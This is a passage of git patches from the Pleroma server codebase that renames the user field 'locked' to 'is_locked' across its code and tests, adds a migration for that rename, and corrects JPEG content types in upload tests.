Pleroma.Web.ApiSpec.Schemas.Account do "header" => "https://mypleroma.com/images/banner.png", "header_static" => "https://mypleroma.com/images/banner.png", "id" => "9tKi3esbG7OQgZ2920", - "locked" => false, + "is_locked" => false, "note" => "cofe", "pleroma" => %{ "allow_following_move" => true, diff --git a/lib/pleroma/web/api_spec/schemas/chat.ex b/lib/pleroma/web/api_spec/schemas/chat.ex index b4986b734..65f908e33 100644 --- a/lib/pleroma/web/api_spec/schemas/chat.ex +++ b/lib/pleroma/web/api_spec/schemas/chat.ex @@ -50,7 +50,7 @@ defmodule Pleroma.Web.ApiSpec.Schemas.Chat do "fields" => [] }, "statuses_count" => 1, - "locked" => false, + "is_locked" => false, "created_at" => "2020-04-16T13:40:15.000Z", "display_name" => "lain", "fields" => [], diff --git a/lib/pleroma/web/api_spec/schemas/status.ex b/lib/pleroma/web/api_spec/schemas/status.ex index 947e42890..e6890df2d 100644 --- a/lib/pleroma/web/api_spec/schemas/status.ex +++ b/lib/pleroma/web/api_spec/schemas/status.ex @@ -252,7 +252,7 @@ defmodule Pleroma.Web.ApiSpec.Schemas.Status do "header" => "http://localhost:4001/images/banner.png", "header_static" => "http://localhost:4001/images/banner.png", "id" => "9toJCsKN7SmSf3aj5c", - "locked" => false, + "is_locked" => false, "note" => "Tester Number 6", "pleroma" => %{ "background_image" => nil, diff --git a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex index 95d8452df..145b46ea1 100644 --- a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex @@ -177,7 +177,7 @@ def update_credentials(%{assigns: %{user: user}, body_params: params} = conn, _p user_params = [ :no_rich_text, - :locked, + :is_locked, :hide_followers_count, :hide_follows_count, :hide_followers, diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex index 121ba1693..f382c05a3 100644 --- a/lib/pleroma/web/mastodon_api/views/account_view.ex +++ b/lib/pleroma/web/mastodon_api/views/account_view.ex @@ -242,7 +242,7 @@ defp do_render("show.json", %{user: user} = opts) do username: username_from_nickname(user.nickname), acct: user.nickname, display_name: display_name, - locked: user.locked, + is_locked: user.is_locked, created_at: Utils.to_masto_date(user.inserted_at), followers_count: followers_count, following_count: following_count, diff --git a/priv/repo/migrations/20201013141127_refactor_locked_user_field.exs b/priv/repo/migrations/20201013141127_refactor_locked_user_field.exs new file mode 100644 index 000000000..6cd23dbac --- /dev/null +++ b/priv/repo/migrations/20201013141127_refactor_locked_user_field.exs @@ -0,0 +1,15 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Repo.Migrations.RefactorLockedUserField do + use Ecto.Migration + + def up do + execute("ALTER TABLE users RENAME COLUMN locked TO is_locked;") + end + + def down do + execute("ALTER TABLE users RENAME COLUMN is_locked TO locked;") + end +end diff --git a/test/notification_test.exs b/test/notification_test.exs index f2e0f0b0d..0e9630f28 100644 --- a/test/notification_test.exs +++ b/test/notification_test.exs @@ -346,7 +346,7 @@ test "it creates notifications when someone likes user's status with a filtered describe "follow / follow_request notifications" do test "it creates `follow` notification for approved Follow activity" do user = insert(:user) - followed_user = insert(:user, locked: false) + followed_user = insert(:user, is_locked: false) {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) assert FollowingRelationship.following?(user, followed_user) @@ -361,7 +361,7 @@ test "it creates `follow` notification for approved Follow activity" do test "it creates `follow_request` notification for pending Follow activity" do user = insert(:user) - followed_user = insert(:user, locked: true) + followed_user = insert(:user, is_locked: true) {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) refute FollowingRelationship.following?(user, followed_user) @@ -383,7 +383,7 @@ test "it creates `follow_request` notification for pending Follow activity" do test "it doesn't create a notification for follow-unfollow-follow chains" do user = insert(:user) - followed_user = insert(:user, locked: false) + followed_user = insert(:user, is_locked: false) {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) assert FollowingRelationship.following?(user, followed_user) @@ -397,7 +397,7 @@ test "it doesn't create a notification for follow-unfollow-follow chains" do end test "dismisses the notification on follow request rejection" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) follower = insert(:user) {:ok, _, _, _follow_activity} = CommonAPI.follow(follower, user) assert [notification] = Notification.for_user(user) diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs index b8c423c48..09e1f472e 100644 --- a/test/tasks/user_test.exs +++ b/test/tasks/user_test.exs @@ -248,14 +248,14 @@ test "All statuses set" do user = User.get_cached_by_nickname(user.nickname) assert user.is_moderator - assert user.locked + assert user.is_locked assert user.is_admin refute user.confirmation_pending end test "All statuses unset" do user = - insert(:user, locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) + insert(:user, is_locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) Mix.Tasks.Pleroma.User.run([ "set", @@ -280,7 +280,7 @@ test "All statuses unset" do user = User.get_cached_by_nickname(user.nickname) refute user.is_moderator - refute user.locked + refute user.is_locked refute user.is_admin assert user.confirmation_pending end diff --git a/test/user_test.exs b/test/user_test.exs index d506f7047..d8ac652af 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -174,7 +174,7 @@ test "ap_following returns the following collection for the user" do test "returns all pending follow requests" do unlocked = insert(:user) - locked = insert(:user, locked: true) + locked = insert(:user, is_locked: true) follower = insert(:user) CommonAPI.follow(follower, unlocked) @@ -187,7 +187,7 @@ test "returns all pending follow requests" do end test "doesn't return already accepted or duplicate follow requests" do - locked = insert(:user, locked: true) + locked = insert(:user, is_locked: true) pending_follower = insert(:user) accepted_follower = insert(:user) @@ -201,7 +201,7 @@ test "doesn't return already accepted or duplicate follow requests" do end test "doesn't return follow requests for deactivated accounts" do - locked = insert(:user, locked: true) + locked = insert(:user, is_locked: true) pending_follower = insert(:user, %{deactivated: true}) CommonAPI.follow(pending_follower, locked) @@ -211,7 +211,7 @@ test "doesn't return follow requests for deactivated accounts" do end test "clears follow requests when requester is blocked" do - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) follower = insert(:user) CommonAPI.follow(follower, followed) @@ -299,8 +299,8 @@ test "can't subscribe to a user who blocked us" do end test "local users do not automatically follow local locked accounts" do - follower = insert(:user, locked: true) - followed = insert(:user, locked: true) + follower = insert(:user, is_locked: true) + followed = insert(:user, is_locked: true) {:ok, follower} = User.maybe_direct_follow(follower, followed) @@ -1360,7 +1360,7 @@ test "it deactivates a user, all follow relationships and all activities", %{use follower = insert(:user) {:ok, follower} = User.follow(follower, user) - locked_user = insert(:user, name: "locked", locked: true) + locked_user = insert(:user, name: "locked", is_locked: true) {:ok, _} = User.follow(user, locked_user, :follow_pending) object = insert(:note, user: user) @@ -1450,7 +1450,7 @@ test "delete/1 purges a user when they wouldn't be fully deleted" do note_count: 9, follower_count: 9, following_count: 9001, - locked: true, + is_locked: true, confirmation_pending: true, password_reset_pending: true, approval_pending: true, @@ -1492,7 +1492,7 @@ test "delete/1 purges a user when they wouldn't be fully deleted" do note_count: 0, follower_count: 0, following_count: 0, - locked: false, + is_locked: false, confirmation_pending: false, password_reset_pending: false, approval_pending: false, diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 804305a13..3efc0d1b4 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -1120,7 +1120,7 @@ test "creates an undo activity for the last follow" do test "creates an undo activity for a pending follow request" do follower = insert(:user) - followed = insert(:user, %{locked: true}) + followed = insert(:user, %{is_locked: true}) {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) {:ok, activity} = ActivityPub.unfollow(follower, followed) diff --git a/test/web/activity_pub/transmogrifier/accept_handling_test.exs b/test/web/activity_pub/transmogrifier/accept_handling_test.exs index 77d468f5c..c6ff96f08 100644 --- a/test/web/activity_pub/transmogrifier/accept_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/accept_handling_test.exs @@ -46,7 +46,7 @@ test "it works for incoming accepts which were pre-accepted" do test "it works for incoming accepts which are referenced by IRI only" do follower = insert(:user) - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) @@ -72,7 +72,7 @@ test "it works for incoming accepts which are referenced by IRI only" do test "it fails for incoming accepts which cannot be correlated" do follower = insert(:user) - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) accept_data = File.read!("test/fixtures/mastodon-accept-activity.json") diff --git a/test/web/activity_pub/transmogrifier/follow_handling_test.exs b/test/web/activity_pub/transmogrifier/follow_handling_test.exs index 757d90941..4ef8210ad 100644 --- a/test/web/activity_pub/transmogrifier/follow_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/follow_handling_test.exs @@ -65,7 +65,7 @@ test "it works for incoming follow requests" do end test "with locked accounts, it does create a Follow, but not an Accept" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) data = File.read!("test/fixtures/mastodon-follow-activity.json") @@ -188,7 +188,7 @@ test "it works for incoming follow requests from hubzilla" do test "it works for incoming follows to locked account" do pending_follower = insert(:user, ap_id: "http://mastodon.example.org/users/admin") - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) data = File.read!("test/fixtures/mastodon-follow-activity.json") diff --git a/test/web/activity_pub/transmogrifier/reject_handling_test.exs b/test/web/activity_pub/transmogrifier/reject_handling_test.exs index 7592fbe1c..5c1451def 100644 --- a/test/web/activity_pub/transmogrifier/reject_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/reject_handling_test.exs @@ -14,7 +14,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.RejectHandlingTest do test "it fails for incoming rejects which cannot be correlated" do follower = insert(:user) - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) accept_data = File.read!("test/fixtures/mastodon-reject-activity.json") @@ -33,7 +33,7 @@ test "it fails for incoming rejects which cannot be correlated" do test "it works for incoming rejects which are referenced by IRI only" do follower = insert(:user) - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) {:ok, follower} = User.follow(follower, followed) {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) diff --git a/test/web/activity_pub/transmogrifier/user_update_handling_test.exs b/test/web/activity_pub/transmogrifier/user_update_handling_test.exs index 64636656c..7c4d16db7 100644 --- a/test/web/activity_pub/transmogrifier/user_update_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/user_update_handling_test.exs @@ -154,6 +154,6 @@ test "it works for incoming update activities which lock the account" do {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(update_data) user = User.get_cached_by_ap_id(user.ap_id) - assert user.locked == true + assert user.is_locked == true end end diff --git a/test/web/activity_pub/utils_test.exs b/test/web/activity_pub/utils_test.exs index d50213545..be9cd7d13 100644 --- a/test/web/activity_pub/utils_test.exs +++ b/test/web/activity_pub/utils_test.exs @@ -193,7 +193,7 @@ test "fetches only Create activities" do describe "update_follow_state_for_all/2" do test "updates the state of all Follow activities with the same actor and object" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) follower = insert(:user) {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) @@ -217,7 +217,7 @@ test "updates the state of all Follow activities with the same actor and object" describe "update_follow_state/2" do test "updates the state of the given follow activity" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) follower = insert(:user) {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index e34f5a49b..a8e22d44f 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -1071,7 +1071,7 @@ test "also unsubscribes a user" do test "cancels a pending follow for a local user" do follower = insert(:user) - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = CommonAPI.follow(follower, followed) @@ -1093,7 +1093,7 @@ test "cancels a pending follow for a local user" do test "cancels a pending follow for a remote user" do follower = insert(:user) - followed = insert(:user, locked: true, local: false, ap_enabled: true) + followed = insert(:user, is_locked: true, local: false, ap_enabled: true) assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = CommonAPI.follow(follower, followed) @@ -1116,7 +1116,7 @@ test "cancels a pending follow for a remote user" do describe "accept_follow_request/2" do test "after acceptance, it sets all existing pending follow request states to 'accept'" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) follower = insert(:user) follower_two = insert(:user) @@ -1136,7 +1136,7 @@ test "after acceptance, it sets all existing pending follow request states to 'a end test "after rejection, it sets all existing pending follow request states to 'reject'" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) follower = insert(:user) follower_two = insert(:user) @@ -1156,7 +1156,7 @@ test "after rejection, it sets all existing pending follow request states to 're end test "doesn't create a following relationship if the corresponding follow request doesn't exist" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) not_follower = insert(:user) CommonAPI.accept_follow_request(not_follower, user) diff --git a/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs index 2e6704726..f49dbdf4d 100644 --- a/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs +++ b/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs @@ -102,7 +102,7 @@ test "updates the user's bio", %{conn: conn} do end test "updates the user's locking status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{locked: "true"}) + conn = patch(conn, "/api/v1/accounts/update_credentials", %{is_locked: "true"}) assert user_data = json_response_and_validate_schema(conn, 200) assert user_data["locked"] == true diff --git a/test/web/mastodon_api/controllers/account_controller_test.exs b/test/web/mastodon_api/controllers/account_controller_test.exs index f7f1369e4..0b803b7ab 100644 --- a/test/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/web/mastodon_api/controllers/account_controller_test.exs @@ -706,7 +706,7 @@ test "following / unfollowing a user", %{conn: conn} do end test "cancelling follow request", %{conn: conn} do - %{id: other_user_id} = insert(:user, %{locked: true}) + %{id: other_user_id} = insert(:user, %{is_locked: true}) assert %{"id" => ^other_user_id, "following" => false, "requested" => true} = conn diff --git a/test/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/web/mastodon_api/controllers/follow_request_controller_test.exs index 6749e0e83..a9dd7cd30 100644 --- a/test/web/mastodon_api/controllers/follow_request_controller_test.exs +++ b/test/web/mastodon_api/controllers/follow_request_controller_test.exs @@ -12,7 +12,7 @@ defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do describe "locked accounts" do setup do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) %{conn: conn} = oauth_access(["follow"], user: user) %{user: user, conn: conn} end diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index a5f39b215..90b436376 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -43,7 +43,7 @@ test "Represent a user account" do username: "shp", acct: user.nickname, display_name: user.name, - locked: false, + is_locked: false, created_at: "2017-08-15T15:47:06.000Z", followers_count: 3, following_count: 0, @@ -148,7 +148,7 @@ test "Represent a Service(bot) account" do username: "shp", acct: user.nickname, display_name: user.name, - locked: false, + is_locked: false, created_at: "2017-08-15T15:47:06.000Z", followers_count: 3, following_count: 0, @@ -332,7 +332,7 @@ test "represent a relationship for the user blocking a domain" do test "represent a relationship for the user with a pending follow request" do user = insert(:user) - other_user = insert(:user, locked: true) + other_user = insert(:user, is_locked: true) {:ok, user, other_user, _} = CommonAPI.follow(user, other_user) user = User.get_cached_by_id(user.id) @@ -481,62 +481,62 @@ test "shows zero when no follow requests are pending" do end test "shows non-zero when follow requests are pending" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{locked: true, follow_requests_count: 1} = + assert %{is_locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) end test "decreases when accepting a follow request" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{locked: true, follow_requests_count: 1} = + assert %{is_locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user) - assert %{locked: true, follow_requests_count: 0} = + assert %{is_locked: true, follow_requests_count: 0} = AccountView.render("show.json", %{user: user, for: user}) end test "decreases when rejecting a follow request" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{locked: true, follow_requests_count: 1} = + assert %{is_locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user) - assert %{locked: true, follow_requests_count: 0} = + assert %{is_locked: true, follow_requests_count: 0} = AccountView.render("show.json", %{user: user, for: user}) end test "shows non-zero when historical unapproved requests are present" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - {:ok, user} = User.update_and_set_cache(user, %{locked: false}) + {:ok, user} = User.update_and_set_cache(user, %{is_locked: false}) - assert %{locked: false, follow_requests_count: 1} = + assert %{is_locked: false, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) end end -- cgit v1.2.3 From 40f3cdc030536d49c80fe7318ff43cd5ba011df4 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 13 Oct 2020 10:37:24 -0500 Subject: JPEG content_type must be image/jpeg --- test/pleroma/object_test.exs | 10 +++++----- test/pleroma/upload/filter/anonymize_filename_test.exs | 2 +- test/pleroma/upload/filter/dedupe_test.exs | 2 +- test/pleroma/upload/filter/exiftool_test.exs | 2 +- test/pleroma/upload/filter/mogrifun_test.exs | 2 +- test/pleroma/upload/filter/mogrify_test.exs | 2 +- test/pleroma/upload/filter_test.exs | 2 +- test/pleroma/upload_test.exs | 2 +- test/pleroma/uploaders/local_test.exs | 4 ++-- test/pleroma/uploaders/s3_test.exs | 2 +- test/pleroma/web/activity_pub/activity_pub_test.exs | 2 +- .../object_validators/attachment_validator_test.exs | 2 +- .../activity_pub/object_validators/chat_validation_test.exs | 6 +++--- test/pleroma/web/common_api_test.exs | 2 +- .../web/mastodon_api/controllers/account_controller_test.exs | 2 +- .../web/mastodon_api/controllers/media_controller_test.exs | 6 +++--- .../web/mastodon_api/controllers/status_controller_test.exs | 4 ++-- test/pleroma/web/mastodon_api/update_credentials_test.exs | 6 +++--- .../web/mastodon_api/views/scheduled_activity_view_test.exs | 2 +- .../web/pleroma_api/controllers/chat_controller_test.exs | 2 +- .../web/pleroma_api/controllers/mascot_controller_test.exs | 4 ++-- .../web/pleroma_api/views/chat_message_reference_view_test.exs | 2 +- test/pleroma/web/plugs/uploaded_media_plug_test.exs | 2 +- test/pleroma/web/push/impl_test.exs | 2 +- 24 files changed, 37 insertions(+), 37 deletions(-) diff --git a/test/pleroma/object_test.exs b/test/pleroma/object_test.exs index 198d3b1cf..99caba336 100644 --- a/test/pleroma/object_test.exs +++ b/test/pleroma/object_test.exs @@ -82,7 +82,7 @@ test "Disabled via config" do Pleroma.Config.put([:instance, :cleanup_attachments], false) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -116,7 +116,7 @@ test "in subdirectories" do Pleroma.Config.put([:instance, :cleanup_attachments], true) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -155,7 +155,7 @@ test "with dedupe enabled" do File.mkdir_p!(uploads_dir) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -188,7 +188,7 @@ test "with objects that have legacy data.url attribute" do Pleroma.Config.put([:instance, :cleanup_attachments], true) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -225,7 +225,7 @@ test "With custom base_url" do Pleroma.Config.put([:instance, :cleanup_attachments], true) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/upload/filter/anonymize_filename_test.exs b/test/pleroma/upload/filter/anonymize_filename_test.exs index 19b915cc8..7ef01ce91 100644 --- a/test/pleroma/upload/filter/anonymize_filename_test.exs +++ b/test/pleroma/upload/filter/anonymize_filename_test.exs @@ -13,7 +13,7 @@ defmodule Pleroma.Upload.Filter.AnonymizeFilenameTest do upload_file = %Upload{ name: "an… image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/upload/filter/dedupe_test.exs b/test/pleroma/upload/filter/dedupe_test.exs index 75c7198e1..92a3d7df3 100644 --- a/test/pleroma/upload/filter/dedupe_test.exs +++ b/test/pleroma/upload/filter/dedupe_test.exs @@ -18,7 +18,7 @@ test "adds shasum" do upload = %Upload{ name: "an… image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), tempfile: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/upload/filter/exiftool_test.exs b/test/pleroma/upload/filter/exiftool_test.exs index d4cd4ba11..6b978b64c 100644 --- a/test/pleroma/upload/filter/exiftool_test.exs +++ b/test/pleroma/upload/filter/exiftool_test.exs @@ -16,7 +16,7 @@ test "apply exiftool filter" do upload = %Pleroma.Upload{ name: "image_with_GPS_data.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/DSCN0010.jpg"), tempfile: Path.absname("test/fixtures/DSCN0010_tmp.jpg") } diff --git a/test/pleroma/upload/filter/mogrifun_test.exs b/test/pleroma/upload/filter/mogrifun_test.exs index dc1e9e78f..fc2f68276 100644 --- a/test/pleroma/upload/filter/mogrifun_test.exs +++ b/test/pleroma/upload/filter/mogrifun_test.exs @@ -17,7 +17,7 @@ test "apply mogrify filter" do upload = %Upload{ name: "an… image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), tempfile: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/upload/filter/mogrify_test.exs b/test/pleroma/upload/filter/mogrify_test.exs index bf64b96b3..6dee02e8b 100644 --- a/test/pleroma/upload/filter/mogrify_test.exs +++ b/test/pleroma/upload/filter/mogrify_test.exs @@ -18,7 +18,7 @@ test "apply mogrify filter" do upload = %Pleroma.Upload{ name: "an… image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), tempfile: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/upload/filter_test.exs b/test/pleroma/upload/filter_test.exs index 352b66402..09394929c 100644 --- a/test/pleroma/upload/filter_test.exs +++ b/test/pleroma/upload/filter_test.exs @@ -20,7 +20,7 @@ test "applies filters" do upload = %Pleroma.Upload{ name: "an… image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), tempfile: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/upload_test.exs b/test/pleroma/upload_test.exs index 4280bfcac..f52d4dff6 100644 --- a/test/pleroma/upload_test.exs +++ b/test/pleroma/upload_test.exs @@ -112,7 +112,7 @@ test "does not allow descriptions longer than the post limit" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "image.jpg" } diff --git a/test/pleroma/uploaders/local_test.exs b/test/pleroma/uploaders/local_test.exs index 18122ff6c..1ce7be485 100644 --- a/test/pleroma/uploaders/local_test.exs +++ b/test/pleroma/uploaders/local_test.exs @@ -19,7 +19,7 @@ test "put file to local folder" do file = %Pleroma.Upload{ name: "image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: file_path, tempfile: Path.absname("test/fixtures/image_tmp.jpg") } @@ -38,7 +38,7 @@ test "deletes local file" do file = %Pleroma.Upload{ name: "image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: file_path, tempfile: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/uploaders/s3_test.exs b/test/pleroma/uploaders/s3_test.exs index d949c90a5..e7a013dd8 100644 --- a/test/pleroma/uploaders/s3_test.exs +++ b/test/pleroma/uploaders/s3_test.exs @@ -56,7 +56,7 @@ test "it returns path with bucket namespace when namespace is set" do setup do file_upload = %Pleroma.Upload{ name: "image-tet.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: "test_folder/image-tet.jpg", tempfile: Path.absname("test/instance_static/add/shortcode.png") } diff --git a/test/pleroma/web/activity_pub/activity_pub_test.exs b/test/pleroma/web/activity_pub/activity_pub_test.exs index 804305a13..8f53d0599 100644 --- a/test/pleroma/web/activity_pub/activity_pub_test.exs +++ b/test/pleroma/web/activity_pub/activity_pub_test.exs @@ -1029,7 +1029,7 @@ test "returns reblogs for users for whom reblogs have not been muted" do describe "uploading files" do setup do test_file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs b/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs index 558bb3131..760388e80 100644 --- a/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs +++ b/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs @@ -56,7 +56,7 @@ test "it handles our own uploads" do user = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs index 16e4808e5..d7e299224 100644 --- a/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs +++ b/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs @@ -77,7 +77,7 @@ test "validates for a basic object with an attachment", %{ user: user } do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -98,7 +98,7 @@ test "validates for a basic object with an attachment in an array", %{ user: user } do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -119,7 +119,7 @@ test "validates for a basic object with an attachment but without content", %{ user: user } do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/common_api_test.exs b/test/pleroma/web/common_api_test.exs index e34f5a49b..d19d484b7 100644 --- a/test/pleroma/web/common_api_test.exs +++ b/test/pleroma/web/common_api_test.exs @@ -100,7 +100,7 @@ test "it posts a chat message without content but with an attachment" do recipient = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs index f7f1369e4..4ef404541 100644 --- a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs @@ -380,7 +380,7 @@ test "gets an users media, excludes reblogs", %{conn: conn} do other_user = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs index 906fd940f..d2bd57515 100644 --- a/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs @@ -14,7 +14,7 @@ defmodule Pleroma.Web.MastodonAPI.MediaControllerTest do setup do image = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -74,7 +74,7 @@ test "/api/v2/media", %{conn: conn, user: user, image: image} do setup %{user: actor} do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -106,7 +106,7 @@ 